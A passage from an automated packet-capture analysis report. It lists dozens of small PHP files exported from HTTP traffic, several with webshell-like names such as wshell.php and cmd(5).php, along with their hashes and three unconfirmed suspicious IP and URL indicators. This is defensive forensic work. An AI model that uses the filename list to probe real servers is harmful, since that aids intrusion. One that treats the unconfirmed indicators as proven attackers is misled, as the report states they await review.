`f991a1a53ff96435a1f2d9a8fa9096da14be40631eda9f4db25752f5f6e93827`; size 22 bytes\n  SHA-1: `3b8a000d3079878c1861f3fa894dc03ea9ffa623`; MD5: `86c40144d9d95e1285288955f1a0c36c`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `sha.php`; SHA-256 `002dec6d3ad597ad1363832cf980c066186b2a5f58b6142e09858f7d76d1eda7`; size 21 bytes\n  SHA-1: `63b2efb3a47e87f61f053f51f281d35d1e5abefa`; MD5: `15fec151dabfe952d2caa54fa2fd856c`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `520.php`; SHA-256 `067918e6f6b562d39358996bd0ac8ca5aedd37fea124afd6656e8a1328b14a47`; size 21 bytes\n  SHA-1: `6e713fda76cc338bb6090e69ffcb3fbd1d3f1f3f`; MD5: `1153aecd355f9e09b4aff1802732d105`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `win(1).php`; SHA-256 `11ad503e7b0f728f45d3d3c346e516ffca7aa49aefe5634575fb27fb80b5e6cf`; size 21 bytes\n  SHA-1: `4af8d14d1998299b1662255a39942ab1851b8202`; MD5: `46735ba3a4896a4d0d1223bff9de809a`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `ruyi.php`; SHA-256 `14170376d25bb11f6f3852ab3d81a87cbcda0c618a5a985bd1b794c8ddbd7fd2`; size 21 bytes\n  SHA-1: `c60f9d1ad85dd7a6c2244d078846c35f3ddd70d2`; MD5: `2db6bbd7e2795030ca3f6ab7b3d570f2`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `erba.php`; SHA-256 `1564d3db2b42cec507a3359d8f89fc060035ab94819b5504cec1b7715358f770`; size 21 bytes\n  SHA-1: `de4c2a64796bb587d4d0c5f47d46641f6d54efc5`; MD5: `912cb7c32ab7c17cf323f2876cbc236e`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `3.php`; SHA-256 `201a5616598b897bc8683e6ac3eb3f354a5eeb32c693e507706545fe03f8247a`; size 21 bytes\n  SHA-1: `ab81536fcf61897adeb39e027079b9e978a3b109`; MD5: `904ea1dedc5b105c0f57ff1191dfb6e0`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `lmn.php`; SHA-256 `22d4e4edf6b669157f4d8b960b07e51f5d1189b481fe0d6c069c4a9c2e9b62f8`; size 21 bytes\n  SHA-1: `1b40fb7f91dde6ee8b18215780c19751f948dcea`; MD5: `5a4c292fdfa58a2a8b8b2d271cd0eed2`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `app(2).php`; SHA-256 `2c3906c7ad9f0f1a719ed2c92169e63d1e38c077da8fd49870ff9fc5f86253d6`; size 21 bytes\n  SHA-1: `4e26816281fd8dbcdab084fde0f451cce98332f9`; MD5: `be6ce975f51c14436687a4fea99b2839`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `2(2).php`; SHA-256 `472d1c07fb6fa554f291c056580ee3b57ccc6f1eb3acde8c114f0e9d072ebcdd`; size 21 bytes\n  SHA-1: `5a08dc02eb99a99c60d60deae34bac868a42b8e0`; MD5: `142b9dda2a3be9b83ac514d40e8ef6c9`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `777.php`; SHA-256 `7c9a5898114672ea44e5499fe2119e49e88c5b0c42b002fbbe01bc82fa13a5f8`; size 21 bytes\n  SHA-1: `ed322e53431250c578920490719a49cec0e5567c`; MD5: `4c14f54e4c517f23eb29fac3b6ef67a3`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `general.php`; SHA-256 `900438cb86786337c0c7533823217981533629ea950a672198920fc20a4c89a7`; size 21 bytes\n  SHA-1: `c991983784cb5314bcacd165c626c3cba5cdec24`; MD5: `7a60dd4e40f5101b9203cc2484e4acdd`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `s1.php`; SHA-256 `9ef810f8bb32ec089c435d94fc83bb1641adbda32a06e2205b9d71d1930177ed`; size 21 bytes\n  SHA-1: `6fbb0dad35f92f9c9e91cc91d6bc505544c24936`; MD5: `dd241044c6d5c7c6fcb46b262d60a07a`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `test123.php`; SHA-256 `a51f236fe8f0dde786a894678e91927d9f070882454c731a7344c0080695e262`; size 21 bytes\n  SHA-1: `04311c80ca3e90f85b7eeaa9b9b7fd18efafaca4`; MD5: `4aecf54ef395daf5cb50e18a7a130248`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `wshell.php`; SHA-256 `a698bbd9e222f8414d7cb89daad8a4e958d913f2af91e11838d94ad7a1c293ad`; size 21 bytes\n  SHA-1: `75c449aebbeec21dd4f532a4bc0276b6b76ed0db`; MD5: `61d2b0050f28a2f20580e1c40ad8132f`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `sql.php`; SHA-256 `c48e6733b3802d1bbf20444cd7379191ce0fa375f7fd5496b74af4c9433c21ac`; size 21 bytes\n  SHA-1: `348cd70e088b177ae5898a234b3d0f23e1b699f4`; MD5: `4dbeca4fe8fc6e0520b52241cdad7903`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `1(10).php`; SHA-256 `ca6d88dbd1c94ff8a71cdee9a85e4a256f45b2b46a97adbeaf650d252798c0cb`; size 21 bytes\n  SHA-1: `631ebf88c0719894293bdddd3a7b106d3d9b6cd0`; MD5: `c9f7a423190beb3195eff95533992921`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `xx.php`; SHA-256 `cedc5ec45dfeb1038a22da675c2e39f81bc4ac92edb6d8855ada19c5b408676d`; size 21 bytes\n  SHA-1: `179d062446ed160e6257b8e04c123fdaa98daab4`; MD5: `7c6b010c413ab99f5516d86a13ef3ab9`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `ppx.php`; SHA-256 `df68b2a3ded8ac0bbb5df2004cb70fcf2af56e207c70b360e6b5a19a28792640`; size 21 bytes\n  SHA-1: `6d51a6c1084e4358aae7f62dc582d470e4651a60`; MD5: `0e6bcc12eb79a7a1581f9817a057cc81`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `1hou.php`; SHA-256 `e4e9a66087f77e4a064a175c3fb36f3259617ff72fb2e12d08cb375f985f327b`; size 21 bytes\n  SHA-1: `b23542d8a589069b73175793f857fd7ccbe85b2a`; MD5: `331111020e02fb94968a31603d7e2491`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `51314.php`; SHA-256 `f49f38b80f1b42ea04d040dfe84b546eab5046ff1cebc46220048e81331e77af`; size 21 bytes\n  SHA-1: `29e9202ef057d14aedad907698acc112d83dad28`; MD5: `d870cb7c63da17eb9bf7638dd8859206`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `1(6).php`; SHA-256 `f5cbe4a6f56982e8cb5aa5c59c396cd2e3a556aa7701781787471eb89abb67cc`; size 21 bytes\n  SHA-1: `23171549a08e5d44e69c8bb6908d42bf8bac3039`; MD5: `d2c75757b586ba53d35363a3d208c734`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `ooo(2).php`; SHA-256 `f5e735af8b829508f30b65ecee7c9b7e1d2dcf9a2542ea8e993dfc1dccf6afc0`; size 21 bytes\n  SHA-1: `a45a76af18f03b1bed4b00d0f4a45311c7c593d8`; MD5: `f2ea091940d2e2bb7b42afc90a33ee06`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `no.php`; SHA-256 `04eebbc1d0c8d07eaa429c4676f1a4d4147ed6e434b051f8404b5750977f9be9`; size 20 bytes\n  SHA-1: `02998b490a7c8686387c68de7ec4b7565902914f`; MD5: `dd3c6eeab69bebb9be6cac8237a339ca`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `hm.php`; SHA-256 `244de61d3491edb765abb93fe7f8f5548aad63f7b27b8b4aa64a2b83085f8fa2`; size 20 bytes\n  SHA-1: `a8e6f2534afe38bc1db93f0711731f3e3fb633bd`; MD5: `dce592224e29536fc272ee9b9dece6bb`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `92.php`; SHA-256 `2a88a2d5883c65f59114dd74a75d1d734d0fdee531d3119ed5c8ecc1c11f42e8`; size 20 bytes\n  SHA-1: `60171c7030a4b627c1a5e61d09f028971a24b1fa`; MD5: `bfe4c4199622ffc9d7956ad819a6611a`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `xiaomo.php`; SHA-256 `3171503cd3eb4ced940a1d0ef36312eca824a055b66bc54ce295a2433a165e25`; size 20 bytes\n  SHA-1: `4ac19166eafc393a769c4d0304caee1d29ddda6f`; MD5: `39129891fb8613f6d68a8456fe0811d6`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `yj.php`; SHA-256 `45ecec3bdf32d519c20bd147b7b36a42c802ee3d33ca614cdfa667c82e4d8a60`; size 20 bytes\n  SHA-1: `d7c9d9c5b2e62e5540928c4451ccb660c60a031b`; MD5: `895c01ac9502b852d93e261d43a93ec7`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `cmd(5).php`; SHA-256 `52f2375e9e406350794211299e6da748359401606995e965fdc62f0ce45fefbc`; size 20 bytes\n  SHA-1: `dac2bb8dbb1ea8ebfce751a53755c2453ed9ebe5`; MD5: `716143c944620e6e01e9c005bc1d0955`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `fack.php`; SHA-256 `69b8076030fcadb25b8153706a27ad847ffbb8af4e00f178019f67731c688c20`; size 20 bytes\n  SHA-1: `9737a9874dbd8155577ff3fef6de1d3549331c7d`; MD5: `f73e03d9d53642c6e287c42189f75ca2`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `mz.php`; SHA-256 `a899107f2aeb1173d0ca1f5c56a67df994e9dc8e2b38d14abca67e7cabaac2d8`; size 20 bytes\n  SHA-1: `f6c971e2b47bafbc3a9aab6865489fb2e55f53d9`; MD5: `f29228cf8fcf6fee8de0a7d5f8338270`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `zzz(3).php`; SHA-256 `b34276d8134d9ba52e9ff67f193b34c76e97f28e791f965f86108fd0360ef764`; size 20 bytes\n  SHA-1: `187edd11552c599f7b1065e6318522971e51d315`; MD5: `840ceb315f4720e83db5763556f5c587`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `post.php`; SHA-256 `ba1f895b79ddd4458c3fd2f0721ce08e44618c415277b3bca26e58c2d6990ba1`; size 20 bytes\n  SHA-1: `8fd7385ba9549dde3d6f60a41e635ac349196cf8`; MD5: `1c28c4d7b107a54ed99b43948481e948`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `qq(6).php`; SHA-256 `d865a258acf829c542f35fca5931a773daac3d1a5109d6b6d5d78793ec244ba6`; size 20 bytes\n  SHA-1: `90c72ab0487a8381bce91f112adae171b26d6792`; MD5: `1332d9755aefdc3d5c8d87daa9568438`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `xiaoyu.php`; SHA-256 `dbf0d0abe58f7dd74438929ab8dea07e5bf6beb6b648667e3c76fbd10f825db0`; size 20 bytes\n  SHA-1: `f4e133323e828580fb82fd612c9e53119639270b`; MD5: `9cc109d1414b37a178413efdbacf75aa`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `xshell.php`; SHA-256 `de82cfb9dcaa44def410601aa958c737e74e451c058b8c964e33f1c5d01bb124`; size 20 bytes\n  SHA-1: `ba27901bfc86d44a6ba3393e718616589967ca41`; MD5: `c4548673aff6cd1efc6ad7193b83ef1c`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `qq(2).php`; SHA-256 `ee0baf8858675f8e670d5f1e3f9945ed1120eccde1c24be5cafc1e251637aa47`; size 20 bytes\n  SHA-1: `92ec2e40dd85f42b4822233b86bc8d498217d50b`; MD5: `bd793d9c7a9b113b73cfc0486070389a`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `aw.php`; SHA-256 `f0ec8b0238af53aa86c9cba9f94ce4c4d93e4e4b26a4b8478b9d04b909ccf900`; size 20 bytes\n  SHA-1: `bb3cd26bb696b9330368f96f32a3bd2251ff054b`; MD5: `0657651cc3dc9a5ce5468bbdf2fcdb8e`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `bx.php`; SHA-256 `fd392dc065349461b88b41e02c8a6376cc92a8420e9349aac77a0000170d783f`; size 20 bytes\n  SHA-1: `b9c0f1d6cb192baf3abb277f61d338cc23c7e3d5`; MD5: `14490b9fea280e125e69f4902078d9bb`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `l6.php`; SHA-256 `ff3d2ac0ebd4aaa76a09c004b754f8370b74659fe3dc02760c40b097bb9dfd97`; size 20 bytes\n  SHA-1: `dc0fb6e21d434ecfa95505745612f4ff312814d4`; MD5: `7302f92b3987a0850f5d66f1481bf077`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `Administrator.php`; SHA-256 `061c0ff5d6f501e9cf00f3a3748751f4551937bec1e79b76621d7e88a017ec89`; size 19 bytes\n  SHA-1: `e28cf8d973563cbd1351c720387a3385a6a34bd1`; MD5: `bfcf719d2fcf5f5b32fdea30664070b0`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `phpstudy.php`; SHA-256 `0ec71ec402ba43c54280456053b33624a9481559ecaa96ab45ace5d42d2b8697`; size 19 bytes\n  SHA-1: `dee9f4b526a35fd5fc745387e3d2a9b19b3fe0f6`; MD5: `91160bdae5c962e959b017058e79078a`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `1.php`; SHA-256 `363b45ef36c4b422e2343990313f4920dfab48b6e2336548d09257541f4e2659`; size 19 bytes\n  SHA-1: `3123b527a780ccfe0c2c384d6ad304dfd3fbf9f5`; MD5: `06aa21a3401adbcabda85d2bc98d97f1`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `infoo.php`; SHA-256 `69ebb06901e1a0b1d853c28fddcd8e1179397f351e10042f9fe13c632e2c4287`; size 19 bytes\n  SHA-1: `1947b766235ce742be0b7902155111fbbc0f1578`; MD5: `609acfb15ebe269b75c2cfc667a956d2`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `confg(4).php`; SHA-256 `78cb8cbc04e24c367d460b271f8ebb2fa8084e327c8101a69a7d0df4b5634c48`; size 19 bytes\n  SHA-1: `b340b9985dc389d8ee38ddd9e6f842870d2d38c6`; MD5: `47c198490000fa2e800adc18e5f8cad7`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `o.php`; SHA-256 `87ad34c0f1e82b83cf621fb7f523b310593a2c2b3e6868d9208a580b14d9605c`; size 19 bytes\n  SHA-1: `3b729d1d506fceb02c34f6cdfba14e4086d08941`; MD5: `00c7a1ca51611554aa7665935253d23c`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `conf.php`; SHA-256 `8ec7ddf4593322ed0347f57f4f2d156532cc66f8d9fff664cb23d0e05a13adc4`; size 19 bytes\n  SHA-1: `15fef32d190967561781f10d7f590862244e19f1`; MD5: `71017ff101c076c02ca817920c8149a8`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `log(1).php`; SHA-256 `97b5a403ad7aed9ac226d5612ae914e6a9b814c3d96107a970f4dc42bc422293`; size 19 bytes\n  SHA-1: `89d053512a4426a0cc8c3367c6011a1d27f1b451`; MD5: `b03d96cde4d52c3cda7b53dae7be6650`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `9678.php`; SHA-256 `b947c4288a7cb946e82bf2385142468a80216418afc08e691f46b2150ae67f96`; size 19 bytes\n  SHA-1: `e9596e49ff81ded6e949ff091f06a73dd8b12aa7`; MD5: `891bc265f6a3cf1d8d1460e81cd0498c`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `56.php`; SHA-256 `ce00fb93bdd8799116dee501491619b2987f56bcff2e1260e6e72e0714e0f28f`; size 19 bytes\n  SHA-1: `cd0c012b6ef61f45ab807c0382149d552a3f6f3f`; MD5: `08269063f692d9c2f0096e55f7761b8c`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `confg(2).php`; SHA-256 `d5ed840ae489ce44a548368ee4509159861b1ea9cd7b4f25757b4e48034c6e26`; size 19 bytes\n  SHA-1: `a49439fd1d06be171c40ae6e4f7022388d5b62f2`; MD5: `80567b0f0d4992d01b8608644b375ddf`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `Updata.php`; SHA-256 `e100603116e2ef5ad761bb07fe2eda8bab6ef2525c5d9647b6108f8be84a7c2a`; size 19 bytes\n  SHA-1: `66ac1c32b12995d6e78fe77d9a2ad3f23eae7645`; MD5: `0b60cae25e33ef72c9fec5fb5e6cf0d5`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `mx.php`; SHA-256 `e7a8ee05bb0196f85adf00c64b9196dd3bc9bf0838052493634d78896767f418`; size 19 bytes\n  SHA-1: `b1dad44a36fb9c26aa5325d89117380fa646f0aa`; MD5: `cbe0fb6c0c7b11effdb86865c8cf4652`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `z(3).php`; SHA-256 `ecf7fe3c44cf97fe0fe76364fc5c699afa7a5414ff339cde92d3ff1b5b00a42b`; size 19 bytes\n  SHA-1: `4c853f3e2d25c126310fe3526a8c84632b86543d`; MD5: `486e45dbe164fd44a242e624aea65365`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `.php`; SHA-256 `0f1dc89be8163ccb17de516085af6add3cfd09854f416afee92203e1aca45a83`; size 18 bytes\n  SHA-1: `fcda89e827f955d4b834d487f96b65e7ee3e5daf`; MD5: `8cf33a74b6c286188cfdc37375f82fe2`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `python(1).php`; SHA-256 `11ae4ece213f6e5fb811c194ce843d0719f6b5cba7a9e07a84876308014023e3`; size 18 bytes\n  SHA-1: `e36a2b1e7a4015e82d21d5f5bf19887f3621ca3b`; MD5: `424eb027cabaf594d13f3f5b10c34451`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `conf1g.php`; SHA-256 `899fb23b6ce90e858f422f0ccfcb3e416d5cb322be3a4957795eca799e31a570`; size 18 bytes\n  SHA-1: `1bacaffa024be18cd21debf7f593b61bce61a995`; MD5: `bdb856db52ad479bb2c234494b6c44bc`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `asjc.php`; SHA-256 `a07cfb41343f70a8e6a5c7b5056e688fc71b3dc6da4ade21236ace122f7c0669`; size 18 bytes\n  SHA-1: `980d0bf9abe2b262a86a4ed1a1b30a65d2010b43`; MD5: `d1c15e25990c2e503dbff0718036ea32`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `l8.php`; SHA-256 `e85e98b76eff35f6f764c4f87aaaad9aef7b8c330289656a0e290a67ae25c265`; size 18 bytes\n  SHA-1: `7dfe75ab44f10162442b3e09af7284ee7551a6eb`; MD5: `64995ac0f5dd0a4cc86e6dcf24da026d`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n- exported object `object2064`; SHA-256 `8f5eb502af770fbd3d3c03fb4630f797f83ca95ee0788dab8e1ceb16d217cf03`; size 11 bytes\n  SHA-1: `1b07e94f1286fc34362a02ed79ad34c3a5f4fe75`; MD5: `2f91618259ae8b6c1b3001c0a4f127b6`; completeness: unknown; transfers: `[]`.\n  Extraction: tshark-http-export-objects; parent SHA-256: none.\n\n## Actor similarity leads\n\n- No actor lead was calculated.\n\n## Local enrichment and correlations\n\nNo match means unknown in this corpus. Local CTI may postdate the capture. Matches and shared infrastructure require review; no automatic promotion or attribution.\nSnapshot: `9ddc5725e103b930746c7e350e94833ebc024b08d0b83f3171d761312edc835a`; recorded 2026-09-22T16:01:36.838512+00:00; mode: local-only.\nCoverage: `{\"matched_observables\":0,\"no_exact_match\":710,\"observable_limit\":5000,\"observables_checked\":710,\"observables_total\":710,\"prior_case_limit_reached\":true,\"prior_cases_checked\":50,\"truncated\":false}`\n\n- External provider queries: 0. Not requested; no unknown indicator is classified as benign.\n\n## Coverage and limitations\n\n- Packet and protocol facts are deterministic for the recorded analyzer manifest.\n- Encrypted application payloads are not decrypted; only available metadata is reported.\n- ATT&CK mappings and actor overlaps are candidates until analyst review and promotion.\n- HTTP object inventory: `{\"compact_objects\":0,\"complete\":true,\"detailed_objects\":149,\"export_status\":\"completed\",\"exported_objects\":1007,\"hashed_bytes\":181808,\"hashed_objects\":1007,\"omitted_unique_hashes\":0,\"returned_unique_hashes\":149,\"selection\":\"content-classified first, then size descending, SHA256 tie-break; deduplicated by full hash; overflow retains a compact hash index\",\"unhashed_objects\":0,\"unique_hashes\":149}`. Compact overflow hashes are retained in JSON coverage and observables.\n- A directory subject is not necessarily a logged-in user; consult identity bindings in the JSON evidence.\n- Rendered / available: findings 2/2, identities 0/0, observables 500/710, artifacts 149/149. Full returned inventory is in the JSON result.\n\n## Evidence-backed IOC assessment\n\n700 typed observations; 3 evidence-backed IOC candidates for review, including 0 with direct malicious provider reports. No automatic confirmation or attribution.\n\nPolicy: `pcap-assessment-v3`; assessment SHA-256: `99942f5313228043962da895ef7aeff7b6375ba3eac3f6899e0dd27a2e1d1b1b`.\n\n- ipv4 `139.199.184.166` — suspicious; evidence: `[{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":591,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":924,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":1090,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":1246,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":1751,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":1929,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":930,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":933,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":1497,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":1659,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":1668,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":1922,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"}]`; provider signals: `[{\"actors\":[],\"basis\":\"No verdict: not_found\",\"cache_hit\":false,\"context_status\":\"provider-assertion-not-capture-behavior-or-attribution\",\"evidence\":{},\"queried_at\":\"2026-09-22T17:45:50.976812+00:00\",\"relationship_context\":[],\"source\":\"threatfox\",\"status\":\"not_found\",\"technique_ids\":[],\"verdict\":\"unknown\"},{\"actors\":[],\"basis\":\"No verdict: deferred-rate-limit\",\"cache_hit\":false,\"context_status\":\"provider-assertion-not-capture-behavior-or-attribution\",\"cooldown_scope\":\"shared-redis\",\"error_category\":\"rate_limited\",\"evidence\":{},\"queried_at\":\"2026-09-22T17:45:50.973532+00:00\",\"relationship_context\":[],\"retry_at\":\"2026-09-22T17:49:29.781117+00:00\",\"source\":\"virustotal\",\"status\":\"deferred-rate-limit\",\"technique_ids\":[],\"verdict\":\"unknown\"}]`\n- url `http://128.199.64.235/1.php` — suspicious; evidence: `[{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":930,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":933,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":1497,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":1659,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":1668,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-23fe904e78a62affb365081e\",\"frame_number\":1922,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"}]`; provider signals: `[]`\n- url `http://128.199.64.235/qq.php` — suspicious; evidence: `[{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":591,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":924,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":1090,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":1246,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":1751,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"},{\"finding_id\":\"finding-9e298ff810ccf802b8d6c285\",\"frame_number\":1929,\"kind\":\"behavior\",\"rule_id\":\"repeated-http-posts\"}]`; provider signals: `[]`\n\nOrdinary observations remain in the capture inventory; they are not declared malicious IOCs.\n\nReputation snapshot: `3033e31804b1865a707c41436a306b31cf31c83ea4722e51597e958f8f8dd4bc`; updated 2026-09-22T17:45:51.165137+00:00. Each target retains its query time. Coverage: `{\"active_scans\":0,\"batch_results\":[{\"observable_id\":\"observable-f3d1e49eb7eb8474e08974ef\",\"provider\":\"virustotal\",\"status\":\"deferred-rate-limit\"},{\"observable_id\":\"observable-f3d1e49eb7eb8474e08974ef\",\"provider\":\"threatfox\",\"status\":\"not_found\"}],\"batch_targets\":1,\"cache_hits\":0,\"full_urls_disclosed\":0,\"payload_uploads\":0,\"provider_lookups_started\":1,\"retained_targets\":1,\"targets_omitted\":0}`.\n- No detections, no record, missing credentials and provider errors do not mean benign.\n- Current reputation may postdate the capture. Shared hosting, DNS resolution and graph overlap do not transfer maliciousness.\n- A recovered file is not proof of execution; hashes identify exported bytes, including partial objects.\n- Public-looking enterprise domains may still be sensitive: review selected targets before external disclosure.\n",
  "result": {
    "flows": [
      {
        "bytes": 362,
        "stream": 0,
        "flow_id": "flow-8813eacc536e1b4f99073254",
        "packets": 6,
        "transport": "tcp",
        "last_frame": 6,
        "first_frame": 1,
        "initiator_ip": "139.199.184.166",
        "responder_ip": "10.12.25.101",
        "initiator_port": 55376,
        "responder_port": 80,
